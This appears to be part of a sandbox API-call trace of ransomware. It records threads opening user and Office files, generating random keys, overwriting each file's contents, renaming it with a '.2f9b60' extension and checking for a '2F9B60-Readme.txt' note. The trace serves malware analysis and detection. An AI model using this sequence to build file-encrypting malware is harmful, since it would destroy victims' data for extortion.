[0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x1588b6c0 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0xefcfc4b [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x5f2a25b1 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x7d2eec1f [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x51ee42bf [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x7157b8f0 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x28a6af39 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x10bf76e6 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x1abaaeb2 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x3631c249 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x3595f8eb [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x54451d87 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x117b8169 [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x76f35d0f [0122.372] RtlRandomEx (in: Seed=0x4023f7d0 | out: Seed=0x4023f7d0) returned 0x5edd0adb [0122.379] ReadFile (in: hFile=0x1070, lpBuffer=0x1cede210, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x4023f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1cede210*, lpNumberOfBytesRead=0x4023f7d0*=0xe14, lpOverlapped=0x0) returned 1 [0122.379] SetFilePointerEx (in: hFile=0x1070, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.379] WriteFile (in: hFile=0x1070, lpBuffer=0x1cef8680*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x4023f7d4, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesWritten=0x4023f7d4*=0xe14, lpOverlapped=0x0) returned 1 [0122.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0122.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e770 [0122.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e770) returned 1 [0122.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef8680) returned 1 [0122.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cede210) returned 1 [0122.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0122.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0122.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e770 [0122.745] SetFilePointerEx (in: hFile=0x1070, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.745] WriteFile (in: hFile=0x1070, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x4023f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x4023f8f0*=0x104, lpOverlapped=0x0) returned 1 [0122.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6500 [0122.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6500) returned 1 [0122.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0122.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6500 [0122.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ad0 [0122.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ad0) returned 1 [0122.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a6ad0 [0122.974] sprintf (in: _Dest=0x202a6ad0, _Format="%c%c" | out: _Dest="64") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ad2, _Format="%c%c" | out: _Dest="55") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ad4, _Format="%c%c" | out: _Dest="fe") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ad6, _Format="%c%c" | out: _Dest="ce") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ad8, _Format="%c%c" | out: _Dest="62") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ada, _Format="%c%c" | out: _Dest="67") returned 2 [0122.974] sprintf (in: _Dest=0x202a6adc, _Format="%c%c" | out: _Dest="0b") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ade, _Format="%c%c" | out: _Dest="b1") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ae0, _Format="%c%c" | out: _Dest="73") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ae2, _Format="%c%c" | out: _Dest="8c") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ae4, _Format="%c%c" | out: _Dest="f6") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ae6, _Format="%c%c" | out: _Dest="2e") returned 2 [0122.974] sprintf (in: _Dest=0x202a6ae8, _Format="%c%c" | out: _Dest="59") returned 2 [0122.974] sprintf (in: _Dest=0x202a6aea, _Format="%c%c" | out: _Dest="8f") returned 2 [0122.974] sprintf (in: _Dest=0x202a6aec, _Format="%c%c" | out: _Dest="25") returned 2 [0122.974] sprintf (in: _Dest=0x202a6aee, _Format="%c%c" | out: _Dest="30") returned 2 [0122.974] sprintf (in: _Dest=0x202a6af0, _Format="%c%c" | out: _Dest="6e") returned 2 [0122.975] sprintf (in: _Dest=0x202a6af2, _Format="%c%c" | out: _Dest="90") returned 2 [0122.975] RtlInitAnsiString (in: DestinationString=0x4023f968, SourceString="6455fece62670bb1738cf62e598f25306e90" | out: DestinationString="6455fece62670bb1738cf62e598f25306e90") [0122.975] RtlAnsiStringToUnicodeString (in: DestinationString=0x4023f938, SourceString="6455fece62670bb1738cf62e598f25306e90", AllocateDestinationString=1 | out: DestinationString="6455fece62670bb1738cf62e598f25306e90") returned 0x0 [0122.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c2b0 [0122.975] wcscat (in: _Dest=0x1cd656b0, _Source="6455fece6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\6455fece6") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\6455fece6" [0122.975] wcscat (in: _Dest=0x1cd656b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\6455fece6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\6455fece6.2f9b60" [0122.975] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\6455fece6.2f9b60", NtPathName=0x4023f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\6455fece6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1197f0 [0123.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1197f0) returned 1 [0123.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc510) returned 1 [0123.503] NtQueryInformationFile (in: FileHandle=0x1070, IoStatusBlock=0x4023f978, FileInformation=0x4023f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4023f978, FileInformation=0x4023f988) returned 0x0 [0123.503] NtSetInformationFile (FileHandle=0x1070, IoStatusBlock=0x4023f978, FileInformation=0x4023f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd656b0) returned 1 [0123.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c2b0) returned 1 [0123.598] FlushFileBuffers (hFile=0x1070) returned 1 [0124.135] CloseHandle (hObject=0x1070) returned 1 [0124.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce10bb0 [0124.136] wcscpy (in: _Dest=0x1ce10bb0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.136] wcscat (in: _Dest=0x1ce10bb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10bb0) returned 1 [0124.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0470) returned 1 Thread: id = 1446 os_tid = 0x18ec [0119.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml")) returned 0x20 [0120.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml", dwFileAttributes=0x20) returned 1 [0120.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa5c [0120.983] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x4050fd00 | out: lpFileSize=0x4050fd00*=3577) returned 1 [0120.983] SetFilePointerEx (in: hFile=0xa5c, liDistanceToMove=0xdf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.983] ReadFile (in: hFile=0xa5c, lpBuffer=0x4050fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4050fcc8, lpOverlapped=0x0 | out: lpBuffer=0x4050fc80*, lpNumberOfBytesRead=0x4050fcc8*=0x4, lpOverlapped=0x0) returned 1 [0121.381] SetFilePointerEx (in: hFile=0xa5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0121.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0121.381] NtQuerySystemTime (in: CurrentTime=0x4050fbc0 | out: CurrentTime=0x4050fbc0*=132462177267730000) returned 0x0 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x41b95266 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x1aa12a80 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x3e9703bf [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x1c57587b [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x5003edf2 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x3701039 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x5d6624e [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x33f9ce3f [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x6a4854c5 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x74e8783c [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x3b93c63f [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x76b96a37 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x37a15110 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x76b96a37 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x74615aa2 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x41836239 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0xa22633c [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x36dc327f [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x20d37938 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x3720c256 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x34df763f [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x100b8565 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x76f178dd [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x20949840 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x4fdd89da [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x725f6947 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x46d3403f [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x1d4663ab [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0xcb829 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x6ceed88 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x2069bf80 [0121.382] RtlRandomEx (in: Seed=0x4050fbb0 | out: Seed=0x4050fbb0) returned 0x44b3721d [0124.457] ReadFile (in: hFile=0xa5c, lpBuffer=0x41b578d0, nNumberOfBytesToRead=0xdf9, lpNumberOfBytesRead=0x4050fbb0, lpOverlapped=0x0 | out: lpBuffer=0x41b578d0*, lpNumberOfBytesRead=0x4050fbb0*=0xdf9, lpOverlapped=0x0) returned 1 [0124.457] SetFilePointerEx (in: hFile=0xa5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.457] WriteFile (in: hFile=0xa5c, lpBuffer=0x41b40d80*, nNumberOfBytesToWrite=0xdf9, lpNumberOfBytesWritten=0x4050fbb4, lpOverlapped=0x0 | out: lpBuffer=0x41b40d80*, lpNumberOfBytesWritten=0x4050fbb4*=0xdf9, lpOverlapped=0x0) returned 1 [0124.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba90 [0124.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aba60 [0124.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aba60) returned 1 [0124.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b40d80) returned 1 [0124.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b578d0) returned 1 [0124.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aba60 [0124.775] SetFilePointerEx (in: hFile=0xa5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.775] WriteFile (in: hFile=0xa5c, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x4050fcd0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x4050fcd0*=0x10a, lpOverlapped=0x0) returned 1 [0124.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97ad0 [0124.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504310 [0124.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b90 [0124.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b90) returned 1 [0124.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b90 [0124.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ec0 [0124.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ec0) returned 1 [0124.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0124.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ad0) returned 1 [0124.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.801] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="0a") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="d8") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="db") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="95") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="84") returned 2 [0124.801] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="0d") returned 2 [0124.801] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="dd") returned 2 [0124.801] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="54") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="11") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="cf") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="97") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="36") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="45") returned 2 [0124.801] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="8e") returned 2 [0124.801] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="30") returned 2 [0124.801] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="d4") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="94") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="c6") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="92") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="18") returned 2 [0124.801] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="ca") returned 2 [0124.801] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="9e") returned 2 [0124.801] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="a0") returned 2 [0124.801] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="1e") returned 2 [0124.801] RtlInitAnsiString (in: DestinationString=0x4050fd48, SourceString="0ad8db95840ddd5411cf9736458e30d494c69218ca9ea01e" | out: DestinationString="0ad8db95840ddd5411cf9736458e30d494c69218ca9ea01e") [0124.801] RtlAnsiStringToUnicodeString (in: DestinationString=0x4050fd18, SourceString="0ad8db95840ddd5411cf9736458e30d494c69218ca9ea01e", AllocateDestinationString=1 | out: DestinationString="0ad8db95840ddd5411cf9736458e30d494c69218ca9ea01e") returned 0x0 [0124.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863dc0 [0124.802] wcscat (in: _Dest=0x107480, _Source="0ad8db95840d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ad8db95840d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ad8db95840d" [0124.802] wcscat (in: _Dest=0x107480, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ad8db95840d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ad8db95840d.2f9b60" [0124.802] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ad8db95840d.2f9b60", NtPathName=0x4050fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0ad8db95840d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1198c0 [0125.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0125.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0125.015] NtQueryInformationFile (in: FileHandle=0xa5c, IoStatusBlock=0x4050fd58, FileInformation=0x4050fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4050fd58, FileInformation=0x4050fd68) returned 0x0 [0125.015] NtSetInformationFile (FileHandle=0xa5c, IoStatusBlock=0x4050fd58, FileInformation=0x4050fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0125.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863dc0) returned 1 [0125.017] FlushFileBuffers (hFile=0xa5c) returned 1 [0125.022] CloseHandle (hObject=0xa5c) returned 1 [0125.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad6b0 [0125.025] wcscpy (in: _Dest=0x202ad6b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0125.025] wcscat (in: _Dest=0x202ad6b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0125.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0125.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad6b0) returned 1 [0125.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad340) returned 1 Thread: id = 1447 os_tid = 0x18f0 [0119.976] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\0-ea5V44EBL.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\0-ea5v44ebl.avi")) returned 0x20 [0119.976] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\0-ea5V44EBL.avi", dwFileAttributes=0x20) returned 1 [0119.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\0-ea5V44EBL.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\0-ea5v44ebl.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1758 [0119.977] GetFileSizeEx (in: hFile=0x1758, lpFileSize=0x4095fb80 | out: lpFileSize=0x4095fb80*=53274) returned 1 [0119.977] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0xd016, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.977] ReadFile (in: hFile=0x1758, lpBuffer=0x4095fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4095fb48, lpOverlapped=0x0 | out: lpBuffer=0x4095fb00*, lpNumberOfBytesRead=0x4095fb48*=0x4, lpOverlapped=0x0) returned 1 [0119.978] SetFilePointerEx (in: hFile=0x1758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0119.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0119.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860660 [0119.979] NtQuerySystemTime (in: CurrentTime=0x4095fa40 | out: CurrentTime=0x4095fa40*=132462177253690000) returned 0x0 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x1c7c767 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x553f2e4b [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x77dd9580 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x29e2ea73 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x259fe3d9 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x48c33897 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x3c544d26 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x7902259 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x7e647b77 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x14563b3d [0119.979] RtlRandomEx (in: Seed=0x4095fa30 | out: Seed=0x4095fa30) returned 0x40801ce0 [0119.979] RtlRandomEx (in: Seed=0x4095fa30 